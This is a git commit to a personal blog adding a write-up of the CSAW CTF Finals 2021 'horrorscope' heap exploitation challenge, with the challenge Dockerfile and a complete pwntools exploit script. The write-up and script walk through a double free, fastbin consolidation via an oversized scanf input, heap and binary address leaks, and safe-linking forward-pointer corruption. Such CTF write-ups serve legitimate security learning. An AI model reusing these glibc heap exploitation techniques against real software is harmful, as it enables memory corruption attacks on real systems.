CSAW CTF Finals 2021 - horrorscope writeup

This commit is contained in:
Tito Sacchi 2021-11-15 23:17:32 +01:00
parent 4aa076cd61
commit b4db72d40d
8 changed files with 685 additions and 1 deletions

View File

@ -40,6 +40,10 @@ pre {
font-family: $monospace;
}
code {
font-family: $monospace;
}
@mixin mybox($bg: $blue1, $border: $blue3, $hoverbg: null) {
display: flex;
justify-content: center;
@ -86,7 +90,6 @@ nav {
}
}
main {
%heading {
// font-family: $monospace;

61
css/syntax.css Normal file
View File

@ -0,0 +1,61 @@
a.sourceLine { display: inline-block; line-height: 1.25; }
a.sourceLine { pointer-events: none; color: inherit; text-decoration: inherit; }
a.sourceLine:empty { height: 1.2em; }
.sourceCode { overflow: visible; }
code.sourceCode { white-space: pre; position: relative; }
div.sourceCode { margin: 1em 0; }
pre.sourceCode { margin: 0; }
@media screen {
div.sourceCode { overflow: auto; }
}
@media print {
code.sourceCode { white-space: pre-wrap; }
a.sourceLine { text-indent: -1em; padding-left: 1em; }
}
pre.numberSource a.sourceLine
{ position: relative; left: -4em; }
pre.numberSource a.sourceLine::before
{ content: attr(title);
position: relative; left: -1em; text-align: right; vertical-align: baseline;
border: none; pointer-events: all; display: inline-block;
-webkit-touch-callout: none; -webkit-user-select: none;
-khtml-user-select: none; -moz-user-select: none;
-ms-user-select: none; user-select: none;
padding: 0 4px; width: 4em;
color: #aaaaaa;
}
pre.numberSource { margin-left: 3em; border-left: 1px solid #aaaaaa; padding-left: 4px; }
div.sourceCode
{ }
@media screen {
a.sourceLine::before { text-decoration: underline; }
}
code span.al { color: #ff0000; font-weight: bold; } /* Alert */
code span.an { color: #60a0b0; font-weight: bold; font-style: italic; } /* Annotation */
code span.at { color: #7d9029; } /* Attribute */
code span.bn { color: #40a070; } /* BaseN */
code span.bu { } /* BuiltIn */
code span.cf { color: #007020; font-weight: bold; } /* ControlFlow */
code span.ch { color: #4070a0; } /* Char */
code span.cn { color: #880000; } /* Constant */
code span.co { color: #60a0b0; font-style: italic; } /* Comment */
code span.cv { color: #60a0b0; font-weight: bold; font-style: italic; } /* CommentVar */
code span.do { color: #ba2121; font-style: italic; } /* Documentation */
code span.dt { color: #902000; } /* DataType */
code span.dv { color: #40a070; } /* DecVal */
code span.er { color: #ff0000; font-weight: bold; } /* Error */
code span.ex { } /* Extension */
code span.fl { color: #40a070; } /* Float */
code span.fu { color: #06287e; } /* Function */
code span.im { } /* Import */
code span.in { color: #60a0b0; font-weight: bold; font-style: italic; } /* Information */
code span.kw { color: #007020; font-weight: bold; } /* Keyword */
code span.op { color: #666666; } /* Operator */
code span.ot { color: #007020; } /* Other */
code span.pp { color: #bc7a00; } /* Preprocessor */
code span.sc { color: #4070a0; } /* SpecialChar */
code span.ss { color: #bb6688; } /* SpecialString */
code span.st { color: #4070a0; } /* String */
code span.va { color: #19177c; } /* Variable */
code span.vs { color: #4070a0; } /* VerbatimString */
code span.wa { color: #60a0b0; font-weight: bold; font-style: italic; } /* Warning */

View File

@ -0,0 +1,412 @@
---
title: horrorscope
displaytitle: CSAW CTF Finals 2021 - horrorscope
summary: 'Fighting against libc to consolidate fastbin chunks'
tags: ctf, pwn, heap, csaw
---
We found this heap exploitation challenge quite difficult because it took a
while for us to discover that in some cases glibc consolidates fastbin chunks.
Even after that, we had a hard time figuring out how to use this to write the
exploit -- our final script was unnecessarily complex and performed two
different consolidations, because our planned attack was very different from the
one we used in the end. I'm going to explain a simpler and cleaner version that
I wrote after the CTF ended. I will give detailed explanations only of the
functions and memory structures that are more relevant for the exploit.
Files: [horrorscope](/resources/horrorscope/horrorscope),
[Dockerfile](/resources/horrorscope/Dockerfile)
## Step 0: setup
The challenge uses a very recent glibc (2.34) and runs on Ubuntu 21.10. The
provided Dockerfile used xinetd and configuration files were missing, so we
replaced it with socat and launched the challenge with docker-compose.
Unfortunately even after installing `libc6-dbg` in the container, debug symbols
weren't loaded in GDB and I couldn't use pwngdb heap commands. In the end we
worked directly on the laptop of one of us that was running 21.10 natively. I
got debugging symbols to work while cleaning up the exploit by copying the
entire `/usr/lib/debug` directory from the container to the host and passing
`set debug-file-directory ...` to GDB.
## Step 1: looking for vulnerabilities
```
pwn checksec ./horrorscope
[*] '/home/tito/csaw/horrorscope/horrorscope'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
./ld-linux-x86-64.so.2 --preload ./libc-2.34.so ./horrorscope
Welcome to the CSAW Oracle (v2.34)!!
We offer all manners of predicting your future and fate!
If you're lucky, that fate will include reading the ./flag.txt!!
-----------------------------------------
Option 0: Query horoscope sign birthdates
Option 1: Ask the Magic 8 Ball a question
Option 2: Open a fortune cookie
Option 3: Read a saved 8 ball fortune
Option 4: Read a saved cookie fortune
Option 5: Delete a saved 8 ball fortune
Option 6: Visit the Oracle
Option 7: Get Lucky Number
Option 8: Save Lucky Number
Option 9: Exit
>
```
Ok, every protection is enabled. Let's have a look at the different
functions that the binary presents us at the menu.
**Option 0**: the function is called `sign` in the binary. It checks whether a
global variable (`globals`) is `NULL` and allocates a buffer of size 0x10 with
`calloc` if it is. Then it lets us write 16 bytes in the buffer pointed by the
global variable.
**Option 1**: the function is called `ask_8ball`. It allocates with `malloc` a
buffer of size 0x70 and asks the user for input. The input is not stored
directly at the beginning of the allocated buffer but at `buffer + 17` instead,
because it gets prepended the string `Oh Magic 8 Ball, `. It then outputs some
useless string (the fortune) depending on out input, and then asks us whether we
want to save the fortune. If the answer is `N`, it frees the chunk; otherwise,
it appends a struct to global array (called `f`) in `.bss`. The struct is
constructed as follows:
```c
struct magic_ball_fortune {
char* user_string;
char response[32];
}
```
`user_string` holds a pointer to the buffer that was dynamically allocated
before, containing `Oh Magic 8 Ball, ` followed by our input. We can store at
most 10 8-ball fortunes (`f` is 400 bytes long) and read them later on with
option 3.
**Option 2**: this is `get_cookie` and it's where the main vulnerability lies,
as we will see later. We can ask for a fortune cookie and this will be read from
a file (`./cookies.txt`). A random line will be chosen from that file and will
be placed in a 0x70-sized buffer allocated with `calloc`. A pointer to the
resulting buffer is appended to some kind of singly-linked list stored at the
symbol `c`, in `.bss`. The last quadword of the buffer then contains a pointer
that points back to the linked list entry in `.bss`:
```c
struct cookie_fortune { /* size = 0x70 */
char fortune[0x68];
linked_list_entry* my_entry;
}
```
Each entry in the global array `c` (as in `cookies`) is composed of two quadwords:
```c
struct linked_list_entry { /* size = 0x10 */
cookie_fortune* bck;
cookie_fortune* this;
}
```
A memory dump is worth a thousand words:
```
pwndbg> x/20gx &c
# (bck) (this)
0x55555555a0a0 c: 0x0000000000000000 0x000055555555b380 (cookie 0)
0x55555555a0b0 c+16: 0x000055555555b380 0x000055555555b400 (cookie 1)
0x55555555a0c0 c+32: 0x000055555555b400 0x000055555555b480 (cookie 2)
0x55555555a0d0 c+48: 0x000055555555b480 0x000055555555b500 (cookie 3)
0x55555555a0e0 c+64: 0x000055555555b500 0x000055555555b580 (cookie 4)
0x55555555a0f0 c+80: 0x0000000000000000 0x0000000000000000
pwndbg> x/20gx 0x000055555555b380
0x55555555b380: 0x0000000000003232 0x0000000000000000 ⎤
0x55555555b390: 0x0000000000000000 0x0000000000000000 ⎥
0x55555555b3a0: 0x0000000000000000 0x0000000000000000 ⎥ buffer
0x55555555b3b0: 0x0000000000000000 0x0000000000000000 ⎥
0x55555555b3c0: 0x0000000000000000 0x0000000000000000 ⎥
0x55555555b3d0: 0x0000000000000000 0x0000000000000000 ⎦
0x55555555b3e0: 0x0000000000000000 0x000055555555a0a0
┗━━→ points back to the entry in c
```
Actually, I spent some time trying to convincing my teammates that this is _not_
a linked list, it's just some kind of contiguous and uselessly redundant array
of pointer to buffers. Someone told me my problem is that I think in Haskell :)
We can store at most 33 cookies in `c`, and if we ask for a fortune cookie when
the list is full, `delete_cookie` is called. This function is quite hard to
read, mainly because there are some instructions that reference the address
`c+8` directly and this confuses IDA. We can choose which cookie we want to free
and then the functions performs some integrity checks on the linked list.
Assuming `idx` (in the range `0..32`) is the cookie to delete, it basically
checks the invariants `c[idx].this->my_entry == &c[idx]`, `c[idx+1].bck ==
c[idx].this`, `c[idx].bck == c[idx-1].this`, `c[idx].bck != c[idx].this`.
Then, `delete_cookie` `free()`s the `cookie_fortune` at `c[idx].this` and
then shifts all the entries in the range `(idx+1)..32` backwards by 1 in `c`.
It does so with an complex while loop with some special cases for cookie 0 and
cookie 32. However, it has a serious flaw: it does not overwrite `c[idx].this`!
This is the main vulnerability that will allow us to have a double free.
Let me explain in more detail. Consider the memory dump above, and suppose we
went on filling the list until the end. After `delete_cookie()` has deleted
cookie 4, for example, `c` will contain:
```
pwndbg> x/20gx &c
0x55555555a0a0 c: 0x0000000000000000 0x000055555555b380 (cookie 0)
0x55555555a0b0 c+16: 0x000055555555b380 0x000055555555b400 (cookie 1)
0x55555555a0c0 c+32: 0x000055555555b400 0x000055555555b480 ...
0x55555555a0d0 c+48: 0x000055555555b480 0x000055555555b500
0x55555555a0e0 c+64: 0x000055555555b500 0x000055555555b580 | !!!
0x55555555a0f0 c+80: 0x000055555555b600 0x000055555555b680
0x55555555a100 c+96: 0x000055555555b680 0x000055555555b700
...
```
As you can see, `delete_cookie` shifted cookies in the range `5..32` back by 1
position, but it did not update `c[4].this` and it is still pointing at the
freed buffer!
Note that `delete_cookie` is corrupting its own list, but it also performs
integrity checks as I explained above: this means that if we free cookie 1, we
won't be able to free cookies 1 or 2 in a later stage, because corruption will
be detected. Cookie 32 (the last one) is an exception, because there is no
cookie 33 to check the invariant `c[idx].this == c[idx+1].bck`!
**Option 3**: Ok, the hardest part of the analysis is done.
`print_8ball_fortune` allows the user to read one of the 8-ball fortunes that
was saved before with option 2. It gets the buffer address from `f` and prints
both the user input and the magic ball response.
**Option 4**: `print_cookie_fortune` prints the content of one of the cookies
stored in `c` chosen by the user. It prints the buffer stored at `c[idx].this`
-- _that's why `c` is not a doubly linked list_: we're not traversing the links
but merely getting an address from an array of pointers.
**Option 5**: this function (`delete_8ball_fortune`) can be used to free the
last 8-ball fortune that has been saved with option 2. We cannot choose which of
the fortunes stored in `f` to delete -- we can only delete the one at the end.
**Option 6**: this function prints a random line from another file
(`./oracle.txt`). It allocates a very big chunk with `malloc` (size 0x390) to
read the file contents. We will use this function in the final stage of the
exploit.
**Option 7**: `get_lucky_num`, similarly to `sign`, uses a global variable to
store a pointer to a buffer (the symbol is called `buf`). If it is `NULL`, it
allocates a buffer of size 0x10 with `calloc` and asks the user for his name
that will be stored there. It then outputs some useless value. If called another
time, it won't ask for input again, because `buf` still holds the pointer to the
user's previous input and is not `NULL` anymore.
**Option 8**: `store_lucky_num` unintuitively does not share any global state
with `get_lucky_num`. The generated pseudocode is very easy to read: it uses a
global variable (`ptr`) to store a pointer to the user's "lucky number", a
buffer of size 8 allocated with `calloc`. We can delete our lucky number
(`free()` the buffer), create it again (`calloc()`) and update it (change the
contents of the buffer pointed by `ptr`) how many times we want.
## Step 2: planning the exploit
This really took some time and commitment! We only have `malloc()`s, `calloc()`s
and `free()`s of fixed sizes. We can perform a double free on cookie 32 because
it is the only case `delete_cookie` won't corrupt the list. However, we have no
way to edit the forward pointer in the chunk before we free it again, because
option 1 (`ask_8ball`) writes `Oh Magic 8 Ball, ` (17 bytes) in the buffer right
before our input, and other functions don't allocate chunks of the same size as
`get_cookie`.
We spent a few hours looking at the pseudocode without any idea. I suggested
that if we could consolidate the fastbins maybe we could find a way to corrupt
the chunk pointers; however, none of us -- even the most experienced -- thought
that fastbins could be consolidated. But while reading the glibc sources in
total despair, we discovered that there is a specific function inside `malloc.c`
that does exactly this: `malloc_consolidate`. We tried to call it directly from
GDB and it did exactly what we expected.
We had to find a way to trigger the call to `malloc_consolidate()` that occurs
quite rarely in the ptmalloc allocator. It turned out that the easiest way to do
that was issuing a largebin-sized allocation request to `malloc()`: see
[`malloc/malloc.c`:3852 in glibc 2.34](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=e065785af77af72c17c773517c15b248b067b4ad;hb=ae37d06c7d127817ba43850f0f898b793d42aea7#l3837).
However we have no control over the size of the chunks allocated by the
application and the largest one is smallbin-sized (`malloc(0x390)` in `oracle`).
How could we `malloc()` more than 0x400?
Well, this is the trick that one of us suggested: some internal libc functions
use `malloc` and `free` internally, and `scanf` is one of them. And... the
application is reading the user's choices at the menu using `scanf()`! So
sending a very large payload at the menu could trigger `malloc_consolidate()`.
We were right: sending 1024 `'5'`s successfully consolidated the fastbins.
## Step 3: implementing the exploit
The main idea is the following: we will allocate a cookie with
`create_cookie()`, free it and then consolidate it with the top chunk. Then we
will allocate a buffer of size 0x10 with `store_lucky_num()` right on the top
chunk and it will end up exactly where the buffer of the just freed
`cookie_fortune` was. We will free this buffer with `delete_cookie()` because of
the bug explained above; we will still be able to edit its contents with
`store_lucky_num()` and we will use that corrupt the fastbin forward pointer.
We will use fastbin corruption to overwrite an address stored at `.data + 0x30`
that points to the string `"./oracle.txt"`. This address is passed as a
parameter to `open()` in `oracle` (option 6). I mean, why would you want to put
a pointer to a static string in a R/W memory segment? It's meant to be pwned! We
will overwrite this pointer with the address of `"./flag.txt"`. Choosing option
6 will print a random line from `./flag.txt`!
I will comment [our exploit](/resources/horrorscope/exploit.py)
step by step (omitting utility functions for brevity).
Firstly we fill the tcache for chunks of size 0x20, because the only chunk we
will free of size 0x20 will be the lucky number created on the top chunk, and we
want it to end up in fastbins. To fill the tcache we repeatedly create and
delete 0x20-sized chunks with `calloc()` because it does not use the tcache and
each call to `free()` will add one chunk on the tcachebin.
```python
for i in range(7): # tcachebins contain at most 7 chunks
# Will call store_lucky_num(), the content is not important
create_lucky_number()
delete_lucky_number()
```
Then, we want to fill the cookie fortune linked list (`c`) because we can only
free cookie fortunes when the list is full (33 elements).
```python
for i in range(33):
create_cookie()
```
Now we will fill the tcachebin for size 0x80 in the exact same way as above:
`create_cookie()` uses `calloc()` internally. Note that we can't just free
cookies 0, 1, 2, ... because list corruption will be detected, so we free
cookies 1, 3, 5, ...
```python
for i in range(7):
delete_cookie(2*i + 1)
create_cookie()
```
We will get a leak of the heap base address by reading inside the first
`free()`d cookie fortune, which is the last one in the appropriate tcachebin. We
will abuse the 'safe linking' pointer masking machenism introduces in glibc
2.32. Its forward pointer is `NULL`. With safe linking, this is stored as `NULL
^ (cookie_addr >> 12) = cookie_addr >> 12`: reading the cookie yields the base
address of the memory page where this chunk resides.
```
┏━━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━━━━━━━━━━━━━┓
cookie_addr - 0x10 ┃ ... ┃ size | prev_inuse: 0x81 ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━╋━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
cookie_addr ┃ fwd ^ (cookie_addr >> 12) ┃ ... ┃
┣━━━━━━━━━━━━━━━━━━━━━━━━━━━┻━━━━━━━━━━━━━━━━━━━━━━━━━━━┫
cookie_addr + 0x10 ┃ ... ┃
┗━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛
```
```python
def read_heap_leak(idx):
r.sendline(b'4')
r.recvuntil(b'Please enter a fortune index\n > ')
r.sendline(str(idx).encode())
r.recvuntil(b' ')
s = r.recv(5) + b'\x00\x00\x00'
r.recvuntil(b'-----------------------------------------')
return u64(s) * 4096
heap_base = read_heap_leak(1)
```
We also need a leak of the program load address, because it is PIE and we will
need this leak to know where `.data` is in memory. Remember that each
`struct cookie_fortune` contains a pointer to its own entry in `c`: `free()`d
cookie fortune buffers still contain it. We will allocate a 0x70-sized buffer
with `ask_8ball` where there was a `cookie_fortune` and we will fill the chunk
until offset 0x68. When printing it, we will receive 0x68 bytes (our input)
followed by the address of an entry in `c`.
```python
# Will pick up first available chunk in the tcachebin, i.e. cookie 13
create_ball(b'A' * (0x68 - 17 - 1))
section_data_address = read_binary_leak(13) - 0x170
```
Now we will allocate a `cookie_fortune` from the top chunk, free it and
immediately consolidate that with the top chunk with the `scanf()` trick
explained above.
```python
delete_cookie(15) # Fills up the tcache again
create_cookie() # Ends up in the top chunk
delete_cookie(32) # Ends up in fastbins
r.sendline(b'5' * 0x400)
r.recvuntil(b'-----------------------------------------')
```
We empty the tcachebin for size 0x80 because we will need to allocate 8-ball
user input buffers from the top chunk. The first buffer allocated now from the
tcache will be at offset 0xe80 from the heap base.
```python
for i in range(7):
create_ball(b"./flag.txt\x00")
# +17 because "Oh Magic 8 Ball, " prepended to our input
flag_txt = heap_base + 0xe80 + 17
```
We finally allocate our 0x10 user input buffer with `store_lucky_num()` where
`c[32].this` is still pointing. The 8-ball buffer allocated right after that is
used to fix `c[32].this->my_entry`: otherwise `delete_cookie` will detect
corruption. `c[32].this->my_entry` should point at `&c[32]`, i.e. `c + 32 *
0x10`, i.e. `section_data_address + 0xA0 + 32 * 0x10`.
```python
create_lucky_number() # Ends up at c[32].this
create_ball(fit({
0x68 - 0x20 - 17: p64(section_data_address + 0xA0 + 32 * 0x10)
}))
```
Now we free cookie 32 and corrupt its forward pointer. We want the next chunk to
start at `.data + 0x30`, where the pointer to `"./oracle.txt"` is stored.
Therefore, accounting for chunk metadata, the fastbin forward pointer must point
at `.data + 0x20`. We have to apply the safe linking mask. We are lucky enough
not to have any alignment issues with this address, because `.data + 0x28`
contains the quadword `0x21` that matches exactly the size of our chunks.
```python
delete_cookie(32)
protect_mask = (heap_base >> 12) + 1
update_lucky_number(p64(protect_mask ^ (section_data_address + 0x20)))
```
We still have to consume one fastbin still with `get_lucky_num` and then we will overwrite
the target pointer without messing up the next quadword.
```python
get_lucky()
sign(p64(flag_txt) + b'\x0b')
```
Now if you choose option 6 for a few times at the menu you will read a random
line from `./flag.txt`!
Many thanks to Gabriele Digregorio who wrote the final exploit at 4 A.M. in the
morning and the messy writeup on Sunday and to Lorenzo Binosi who noticed
`malloc_consolidate()` in the glibc sources!
[comment]: # vim: ts=2:sts=2:sw=2:et:nojoinspaces:tw=80

View File

@ -0,0 +1,20 @@
FROM ubuntu:21.10
RUN apt-get update && apt-get -y upgrade
RUN apt-get install -y lib32z1 xinetd
RUN useradd -u 5000 -m pwn
WORKDIR /home/pwn
COPY ./public/horrorscope ./
COPY ./oracle.txt ./
COPY ./cookies.txt ./
COPY ./flag.txt ./
COPY ./xinetd /etc/xinetd.d/xinetd
RUN chmod 755 /home/pwn/*
RUN chmod -w /home/pwn
EXPOSE 6666
CMD ["/usr/sbin/xinetd", "-dontfork"]

View File

@ -0,0 +1,179 @@
#!/usr/bin/python3
from pwn import *
context.arch = 'amd64'
context.bits = 64
context.terminal = ["tmux", "splitw", "-h"]
sleepy = 0.2
def create_ball(content):
r.sendline(b'1')
r.recvuntil(b'magic 8 ball')
r.sendline(content)
r.recvuntil(b'[Y/N]')
r.sendline(b'Y')
r.recvuntil(b'-----------------------------------------')
def delete_ball():
r.sendline(b'5')
r.recvuntil(b'-----------------------------------------')
def create_cookie():
r.sendline(b'2')
r.recvuntil(b'-----------------------------------------')
def delete_cookie(idx):
r.sendline(b'2')
r.recvuntil(b'Please choose one to delete\n')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b'-----------------------------------------')
def create_lucky_number():
r.sendline(b'8')
r.recvuntil(b'number')
r.sendline(b'1234')
def update_lucky_number(content):
r.sendline(b'8')
sleep(sleepy)
r.recvuntil(b'[Y/N]')
r.sendline(b'Y')
sleep(sleepy)
r.recvuntil(b'number')
r.sendline(content)
sleep(sleepy)
def delete_lucky_number():
r.sendline(b'8')
r.recvuntil(b'[Y/N]')
r.sendline(b'N')
r.recvuntil(b'[Y/N]')
r.sendline(b'Y')
def read_binary_leak(idx):
r.sendline(b'4')
r.recvuntil(b'Please enter a fortune index\n > ')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b' ')
r.recv(104)
s = r.recv(6) + b'\x00\x00'
r.recvuntil(b'-----------------------------------------')
return u64(s)
def read_heap_leak(idx):
r.sendline(b'4')
r.recvuntil(b'Please enter a fortune index\n > ')
sleep(sleepy)
r.sendline(str(idx).encode())
r.recvuntil(b' ')
s = r.recv(5) + b'\x00\x00\x00'
r.recvuntil(b'-----------------------------------------')
return u64(s) * 4096
def sign(payload):
r.sendline(b'0')
sleep(sleepy)
r.recvuntil(b'sign')
r.sendline(payload)
sleep(sleepy)
r.recvuntil(b'-----------------------------------------')
def get_lucky():
r.sendline(b'7')
sleep(sleepy)
r.recvuntil(b'name')
r.sendline(b'aaa')
r.recvuntil(b'-----------------------------------------')
if args.REMOTE:
r = connect("pwn.chal.csaw.io", 5010)
else:
r = connect("127.0.0.1", 2050) # Docker instance
if args.NOGDB:
log.info('Skipping debugger')
else:
gdb.debug(['./horrorscope'], '''
set debug-file-directory /home/tito/csaw/horrorscope/dbginfo
''')
log.info("Attach debugger to process running in Docker")
ui.pause()
r.recvuntil(b'-----------------------------------------')
log.info("Filling tcache for size 0x20")
for i in range(7):
create_lucky_number()
delete_lucky_number()
log.info("Creating 33 cookies")
for i in range(33):
create_cookie()
log.info("Filling tcache for size 0x80")
for i in range(7):
delete_cookie(2*i + 1)
create_cookie()
log.info("Leaking heap by reading free chunk")
heap_base = read_heap_leak(1)
log.success("heap @ " + hex(heap_base))
log.info("Alloc'ing ball where there was a cookie and leaking .data")
create_ball(b'A'*(0x68 - 17 - 1))
binary_data = read_binary_leak(13) - 0x170
log.success(".data @ " + hex(binary_data))
log.info("Alloc'ing a cookie on the top chunk and freeing it")
delete_cookie(15) # this ends up in the tcache
create_cookie()
delete_cookie(32)
log.info("Consolidating fastbins")
r.sendline(b'5'*0x400)
r.recvuntil(b'-----------------------------------------')
log.info("Emptying tcache (alloc'ing 7 8-balls)")
## tcache should be empty right here (8-balls should be allocated from the top chunk)
## './flag.txt' will be useful later on
## ball 1 will end up at heap_base + 0xe80
for i in range(7):
create_ball(b"./flag.txt\x00")
flag_txt = heap_base + 0xe80 + 17
log.success("./flag.txt @ " + hex(flag_txt))
log.info("Alloc'ing lucky number (chunk of size 0x20) overlapping with freed cookie")
create_lucky_number()
log.info("Creating 8-ball overlapping with freed cookie")
# We are using this 8-ball to fix the pointer to the .bss stored at the end of
# each cookie chunk, otherwise the program would complain when we free this
# cookie again. -0x20 bc we just alloc'd a lucky number at the beginning of the
# top chunk (=> at the beginning of the cookie buffer).
# the contiguous array of pointers to cookie buffers is at binary_data + 0xa0
# and each cookie uses 2 quadwords. This is the last cookie (idx 32), so:
create_ball(fit({0x68 - 0x20 - 17: p64(binary_data + 0xA0 + 32 * 0x10)}))
log.info("Freeing corrupted chunk")
delete_cookie(32)
log.info("Corrupting forward pointer")
global_offset = 0x20
global_add = binary_data + global_offset
protect_mask = (heap_base >> 12) + 1 # safe linking
update_lucky_number(p64(protect_mask^global_add))
log.info("Consuming 1 fastbin")
get_lucky()
log.info("Overwriting pointer to oracle.txt")
sign(p64(flag_txt)+b'\x0b')
log.success("Now ask for some oracle fortunes")
r.interactive()
# vim: et:sts=4:ts=4:nojoinspaces

BIN
resources/horrorscope/horrorscope Executable file

Binary file not shown.

View File

@ -11,12 +11,20 @@ main = hakyllWith config $ do
route idRoute
compile copyFileCompiler
match "resources/**" $ do
route idRoute
compile copyFileCompiler
match "css/style.scss" $ do
route $ setExtension "css"
compile $ getResourceString
>>= withItemBody (unixFilter "sass" ["--stdin"])
>>= return . fmap compressCss
match "css/*.css" $ do
route idRoute
compile copyFileCompiler
tags <- buildTags "posts/*" (fromCapture "tags/*.html")
match "index.html" $ do

View File

@ -10,6 +10,7 @@
<link href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css" rel="stylesheet" integrity="sha384-EVSTQN3/azprG1Anm3QDgpJLIm9Nao0Yz1ztcQTwFspd3yD65VohhpuuCOmLASjC" crossorigin="anonymous">
<script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js" integrity="sha384-MrcW6ZMFYlzcLA8Nl+NtUVF0sA7MsXsP1UyJoMp4YLEuNSfAP+JcXn/tWtIaxVXM" crossorigin="anonymous"></script>
<link rel="stylesheet" href="/css/style.css">
<link rel="stylesheet" href="/css/syntax.css">
<title>~tito • $title$</title>
<meta name="description" content="tito's tilde page">
</head>